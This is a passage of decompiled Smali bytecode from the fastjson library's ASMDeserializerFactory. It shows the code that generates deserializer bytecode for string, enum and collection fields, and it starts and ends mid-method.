                                                1159invoke-interface {v7, v6, v0, v4, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1161sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1163const-string v4, "scanFieldString"
                                                1165const-string v6, "([C)Ljava/lang/String;"
                                                1166const/16 v13, 0xb6
                                                1168invoke-interface {v7, v13, v0, v4, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1169new-instance v0, Ljava/lang/StringBuilder;
                                                1171invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                1173iget-object v4, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1175invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1177invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1179invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1180move-result-object v0
                                                1182invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1183move-result v0
                                                1184const/16 v4, 0x3a
                                                1186invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1187goto/16 :goto_44b
                                                1188cond_693:
                                                1189invoke-virtual {v6}, Ljava/lang/Class;->isEnum()Z
                                                1190move-result v4
                                                1191if-eqz v4, :cond_7e8
                                                1193invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1194move-result v0
                                                1195const/16 v4, 0x19
                                                1197invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1198const/4 v0, 0x0
                                                1200invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1202invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                1203move-result-object v0
                                                1204new-instance v4, Ljava/lang/StringBuilder;
                                                1206invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1208iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1210invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1212invoke-virtual {v4, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1214invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1215move-result-object v4
                                                1216const/16 v12, 0xb4
                                                1218invoke-interface {v7, v12, v0, v4, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1219new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                1221invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1222const/4 v4, 0x1
                                                1224invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1225const/16 v4, 0xc0
                                                1227invoke-static {v6}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1228move-result-object v12
                                                1230invoke-interface {v7, v4, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1231new-instance v4, Ljava/lang/StringBuilder;
                                                1233invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1235iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1237invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1239invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1241invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1242move-result-object v4
                                                1244invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1245move-result v4
                                                1246const/16 v12, 0x3a
                                                1248invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1249const/4 v4, 0x1
                                                1250const/16 v12, 0x19
                                                1252invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1254sget-object v12, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                1255new-instance v13, Ljava/lang/StringBuilder;
                                                1257invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                                1259const-string v14, "()"
                                                1261invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1262const-class v14, Lcom/alibaba/fastjson/parser/SymbolTable;
                                                1264invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1265move-result-object v14
                                                1267invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1269invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1270move-result-object v13
                                                1272const-string v14, "getSymbolTable"
                                                1273const/16 v4, 0xb6
                                                1275invoke-interface {v7, v4, v12, v14, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1277sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1278new-instance v12, Ljava/lang/StringBuilder;
                                                1280invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                1282const-string v13, "([C"
                                                1284invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1285const-class v13, Lcom/alibaba/fastjson/parser/SymbolTable;
                                                1287invoke-static {v13}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1288move-result-object v13
                                                1290invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1292const-string v13, ")Ljava/lang/String;"
                                                1294invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1296invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1297move-result-object v12
                                                1299const-string v13, "scanFieldSymbol"
                                                1300const/16 v14, 0xb6
                                                1302invoke-interface {v7, v14, v4, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1303const/16 v4, 0x59
                                                1305invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1306new-instance v4, Ljava/lang/StringBuilder;
                                                1308invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1310iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1312invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1314const-string v12, "_asm_enumName"
                                                1316invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1318invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1319move-result-object v4
                                                1321invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1322move-result v4
                                                1323const/16 v12, 0x3a
                                                1325invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1326const/16 v4, 0xc6
                                                1328invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1329new-instance v4, Ljava/lang/StringBuilder;
                                                1331invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1333iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1335invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1337const-string v12, "_asm_enumName"
                                                1339invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1341invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1342move-result-object v4
                                                1344invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1345move-result v4
                                                1346const/16 v12, 0x19
                                                1348invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1349const-class v4, Ljava/lang/String;
                                                1351invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1352move-result-object v4
                                                1354const-string v12, "length"
                                                1356const-string v13, "()I"
                                                1357const/16 v14, 0xb6
                                                1359invoke-interface {v7, v14, v4, v12, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1360const/16 v4, 0x99
                                                1362invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1363new-instance v4, Ljava/lang/StringBuilder;
                                                1365invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1367iget-object v12, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1369invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1371const-string v12, "_asm_enumName"
                                                1373invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1375invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1376move-result-object v4
                                                1378invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1379move-result v4
                                                1380const/16 v12, 0x19
                                                1382invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1383const/16 v4, 0xb8
                                                1385invoke-static {v6}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1386move-result-object v12
                                                1387new-instance v13, Ljava/lang/StringBuilder;
                                                1389invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                                1391const-string v14, "(Ljava/lang/String;)"
                                                1393invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1395invoke-static {v6}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1396move-result-object v6
                                                1398invoke-virtual {v13, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1400invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1401move-result-object v6
                                                1403const-string v13, "valueOf"
                                                1405invoke-interface {v7, v4, v12, v13, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1406new-instance v4, Ljava/lang/StringBuilder;
                                                1408invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1410iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1412invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1414invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1416invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1417move-result-object v4
                                                1419invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1420move-result v4
                                                1421const/16 v5, 0x3a
                                                1423invoke-interface {v7, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1425invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1426goto/16 :goto_44b
                                                1427cond_7e8: const-class v4, Ljava/util/Collection;
                                                1429invoke-virtual {v4, v6}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                1430move-result v4
                                                1431if-eqz v4, :cond_975
                                                1433invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1434move-result v4
                                                1435const/16 v12, 0x19
                                                1437invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1438const/4 v4, 0x0
                                                1440invoke-interface {v7, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1442invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                1443move-result-object v4
                                                1444new-instance v12, Ljava/lang/StringBuilder;
                                                1446invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                1447move/from16 v27, v10
                                                1449iget-object v10, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1451invoke-virtual {v12, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1453invoke-virtual {v12, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1455invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1456move-result-object v10
                                                1457const/16 v12, 0xb4
                                                1459invoke-interface {v7, v12, v4, v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1461invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->getCollectionItemClass(Ljava/lang/reflect/Type;)Ljava/lang/Class;
                                                1462move-result-object v10
                                                1463const-class v0, Ljava/lang/String;
                                                1464if-ne v10, v0, :cond_941
                                                1466invoke-static {v6}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1467move-result-object v0
                                                1469invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                1470move-result-object v0
                                                1472invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1474sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1475new-instance v4, Ljava/lang/StringBuilder;
                                                1477invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                1479const-string v6, "([CLjava/lang/Class;)"
                                                1481invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1482const-class v6, Ljava/util/Collection;
                                                1484invoke-static {v6}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1485move-result-object v6
                                                1487invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1489invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1490move-result-object v4
                                                1492const-string v6, "scanFieldStringArray"
                                                1493const/16 v12, 0xb6
                                                1495invoke-interface {v7, v12, v0, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1496new-instance v0, Ljava/lang/StringBuilder;
                                                1498invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                1500iget-object v4, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1502invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1504invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1506invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1507move-result-object v0
                                                1509invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1510move-result v0
                                                1511const/16 v13, 0x3a
                                                1513invoke-interface {v7, v13, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1514goto_866:
                                                1515invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1516move-result v0
                                                1517const/16 v4, 0x19
                                                1519invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1521sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1523const-string v5, "I"
                                                1524const/16 v6, 0xb4
                                                1526invoke-interface {v7, v6, v0, v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1527new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                1529invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1530const/16 v5, 0x9e
                                                1532invoke-interface {v7, v5, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1534invoke-direct {v8, v7, v9, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_setFlag(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;I)V
                                                1536invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1538invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1539move-result v0
                                                1541invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1543sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1545const-string v4, "I"
                                                1547invoke-interface {v7, v6, v0, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1548const/16 v0, 0x59
                                                1550invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1552invoke-virtual {v9, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1553move-result v0
                                                1554const/16 v4, 0x36
                                                1556invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1557const/4 v0, -0x1
                                                1559invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1560move-result-object v0
                                                1562invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1563const/16 v0, 0x9f
                                                1564move-object/from16 v14, v26
                                                1566invoke-interface {v7, v0, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1568invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1569move-result v0
                                                1570const/16 v4, 0x19
                                                1572invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1574sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1576const-string v4, "I"
                                                1577const/16 v5, 0xb4
                                                1579invoke-interface {v7, v5, v0, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1580const/16 v0, 0x9e
                                                1582invoke-interface {v7, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1583const/16 v0, 0x15
                                                1585const-string v4, "matchedCount"
                                                1587invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1588move-result v4
                                                1590invoke-interface {v7, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1591const/4 v0, 0x4
                                                1593invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1594const/16 v4, 0x60
                                                1596invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1598const-string v4, "matchedCount"
                                                1600invoke-virtual {v9, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1601move-result v4
                                                1602const/16 v5, 0x36
                                                1604invoke-interface {v7, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1606invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1607move-result v4
                                                1608const/16 v6, 0x19
                                                1610invoke-interface {v7, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1612sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1614const-string v6, "I"
                                                1615const/16 v10, 0xb4
                                                1617invoke-interface {v7, v10, v4, v2, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1619invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1620move-result-object v4
                                                1622invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1623const/16 v0, 0x9f
                                                1624move-object/from16 v4, v25
                                                1626invoke-interface {v7, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1628invoke-interface {v7, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1629add-int/lit8 v10, v27, -0x1
                                                1630if-ne v11, v10, :cond_931
                                                1632invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1633move-result v0
                                                1634const/16 v1, 0x19
                                                1636invoke-interface {v7, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1638sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1640const-string v6, "I"
                                                1641const/16 v10, 0xb4
                                                1643invoke-interface {v7, v10, v0, v2, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1644const/16 v17, 0x4
                                                1646invoke-static/range {v17 .. v17}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1647move-result-object v0
                                                1649invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1650const/16 v0, 0xa0
                                                1652invoke-interface {v7, v0, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1653goto/16 :goto_933
                                                1654cond_931: const/16 v17, 0x4
                                                1655goto_933: move-object/from16 v22, v2
                                                1656move-object/from16 v21, v3
                                                1657move-object v13, v4
                                                1658move-object v10, v7
                                                1659const/16 v12, 0x19
                                                1660const/16 v17, 0x36
                                                1661const/16 v19, 0xb4
                                                1662goto/16 :goto_999
                                                1663cond_941: move-object/from16 v4, v25
                                                1664move-object/from16 v14, v26
                                                1665const/16 v1, 0x19
                                                1666const/4 v12, 0x3
                                                1667const/16 v13, 0x3a
                                                1668const/16 v17, 0x4
                                                1669const/16 v18, 0x36
                                                1670const/16 v19, 0xb4
                                                1671move-object/from16 v0, p0
                                                1672const/16 v20, 0x19
                                                1673move-object/from16 v1, p2
                                                1674move-object/from16 v22, v2
                                                1675const/4 v13, 0x2
                                                1676move-object v2, v7
                                                1677move-object/from16 v21, v3
                                                1678const/4 v12, 0x1
                                                1679move-object v3, v14
                                                1680move-object v13, v4
                                                1681const/16 v17, 0x36
                                                1682move-object v4, v5
                                                1683const/16 v12, 0xb6
                                                1684move-object v5, v6
                                                1685const/16 v12, 0x19
                                                1686move-object v6, v10
                                                1687move-object v10, v7
                                                1688move v7, v11
                                                1690invoke-direct/range {v0 .. v7}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserialze_list_obj(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/asm/Label;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;Ljava/lang/Class;I)V
                                                1691add-int/lit8 v0, v27, -0x1
                                                1692if-ne v11, v0, :cond_999
                                                1694invoke-direct {v8, v9, v10, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserialize_endCheck(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/asm/Label;)V
                                                1695goto/16 :goto_999
                                                1696cond_975: move-object/from16 v22, v2
                                                1697move-object/from16 v21, v3
                                                1698move/from16 v27, v10
                                                1699move-object/from16 v13, v25
                                                1700move-object/from16 v14, v26
                                                1701const/16 v12, 0x19
                                                1702const/16 v17, 0x36
                                                1703const/16 v19, 0xb4
                                                1704move-object v10, v7
                                                1705move-object/from16 v0, p0
                                                1706move-object/from16 v1, p2
                                                1707move-object v2, v10
                                                1708move-object v3, v14
                                                1709move-object v4, v5
                                                1710move-object v5, v6
                                                1711move v6, v11
                                                1713invoke-direct/range {v0 .. v6}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserialze_obj(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/asm/Label;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;I)V
                                                1714add-int/lit8 v0, v27, -0x1
                                                1715if-ne v11, v0, :cond_999
                                                1717invoke-direct {v8, v9, v10, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserialize_endCheck(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/asm/Label;)V
                                                1718cond_999: add-int/lit8 v11, v11, 0x1
                                                1719move-object v7, v10
